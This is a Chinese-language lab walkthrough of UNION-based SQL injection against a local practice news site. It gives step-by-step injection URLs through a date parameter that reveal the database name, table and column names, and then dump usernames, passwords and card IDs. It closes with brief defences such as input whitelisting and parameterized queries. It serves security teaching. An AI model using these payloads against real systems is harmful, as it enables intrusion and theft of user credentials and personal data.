一,目标数据库名字的获取
本地新闻靶场127.0.0.1/wz/url.php?date=2026331http://127.0.0.1/wz/url.php?date=2026331数据库里新闻表的表名一般都是news
由此得出数据库里的语句SELECT * FROM`news`WHERE datestr='2026331'
再通过时间(date)注入语句
127.0.0.1/wz/url.php?date=' union select DATABASE(),'','','
通过union来进行查询语句的连接DATABASE查询当前数据库名称,''空出的字段从而获得数据库名game
二,数据库里所有表的获取
selectTABLE_name from information_schema.`TABLES` t where t.TABLE_SCHEMA='game'
获取'game'数据库里的所有表名(TABLES)
(selectGROUP_CONCAT(TABLE_name) from information_schema.`TABLES` t where t.TABLE_SCHEMA='game')
再通过GROUP_CONCAT来只显示一行
最后在转成连接127.0.0.1/wz/url.php?date=' union SELECT (select GROUP_CONCAT(TABLE_name) from information_schema.`TABLES` t where t.TABLE_SCHEMA='game'),'','','
获得了game数据库里所有表的名字news,user
三,表里所有列的获取
select c.COLUMN_NAME from information_schema.`COLUMNS` c where c.TABLE_SCHEMA='game' and c.TABLE_NAME='user'
通过'game'数据库用`COLUMNS`来获取'user'表里的所有列
(selectGROUP_CONCAT(c.COLUMN_NAME) from information_schema.`COLUMNS`c where c.TABLE_SCHEMA='game' and c.TABLE_NAME='user')
再通过GROUP_CONCAT来只显示一行
最后在转成链接形式127.0.0.1/wz/url.php?date=' union select (select GROUP_CONCAT(c.COLUMN_NAME) from information_schema.`COLUMNS` c where c.TABLE_SCHEMA='game' and c.TABLE_NAME='user'),'','','
即可得到'game'数据库里'user'表里的所有字段id,username,password,cardid,tel,diamond
用同样的方法可的'news'新闻表里的字段title,content,datestr,id
四,表里数据的获取
SELECT username,`password`,cardid,'' FROM user
这是查询'user'里的用户名-密码-ID,用指定查询是因为目标数据库的表的字段必须一致`news`这个表只有四个字段
再加上条件WHERE'1' ='1'这里的值可以修改
SELECT username,`password`,cardid,'1' FROM`user`WHERE '1' ='1'
最后在转成链接
127.0.0.1/wz/url.php?date=' union SELECT username,`password`,cardid,'1' FROM`user`WHERE '1' ='1
即可得到数据
五,如何防范
1,输入过滤
对date参数做白名单校验(如只允许日期格式)
2,参数化查询
使用预处理语句(如PDO或MySQLi),避免拼接SQL
3,禁用union
完全禁用union可能影响合法查询,需权衡安全性与功能性。